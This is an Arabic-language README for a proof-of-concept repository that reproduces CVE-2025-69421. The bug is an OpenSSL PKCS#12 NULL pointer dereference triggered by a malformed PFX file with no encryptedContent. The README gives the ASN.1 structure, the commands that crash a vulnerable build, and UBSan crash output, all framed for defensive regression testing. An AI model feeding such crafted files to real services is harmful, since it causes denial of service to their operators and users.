
مُعيد إنتاج مصغر لـ CVE-2025-69421 يوضح إلغاء مرجع مؤشر فارغ في معالجة OpenSSL PKCS#12 عبر ملف PFX تالف مع حقل encryptedContent غائب. يتضمن سكريبت التوليد، وفحص ASN.1، ومخرجات الانهيار المُفعّلة بـ UBSan لاختبار الانحدار الدفاعي.
يحتوي هذا المستودع على ملف PKCS#12 تالف بأقل قدر ممكن يُعيد إنتاج CVE-2025-69421 في بيئة مخبرية معزولة.
يحتوي ملف PFX المُنشأ على EncryptedData حيث يحذف EncryptedContentInfo الحقل الاختياري encryptedContent. يمكن لإصدارات OpenSSL المعرّضة للخطر تمرير مؤشر NULL من النوع ASN1_OCTET_STRING من PKCS12_unpack_p7encdata() إلى PKCS12_item_decrypt_d2i_ex()، والذي يقوم بإنفاذ المرجع (dereference) له دون فحص NULL.
يُظهر مُعيد الإنتاج هذا حالة رفض الخدمة فقط. وهو لا ينفّذ برمجيات ولا يكشف معلومات.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
عيّن دليل البناء قبل تشغيل إثبات المفهوم (PoC):
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
يجب أن يحتوي OPENSSL_BUILD على libcrypto.so.3 المعرّض للخطر والملف التنفيذي المطابق apps/openssl.
تم تضمين ملف مولّد مسبقًا. لإعادة إنشائه:
python3 generate.py
الناتج هو:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
البنية ذات الصلة هي:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
باستخدام السكربت المساعد:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
الأمر اليدوي المكافئ:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
المؤشرات المهمة هي:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
يجب أن يرفض بناء OpenSSL المُصحَّح الإدخال التالف دون أن يكتشف مُنقّي الذاكرة (sanitizer) مشكلة أو ينهار البرنامج. قد يتضمن الخطأ:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
استخدم مُعيد الإنتاج هذا فقط على الأنظمة التي تملكها أو مخوَّلًا صراحةً لاختبارها. الأداة المرفقة مخصصة للتحقق الدفاعي واختبار الانحدار.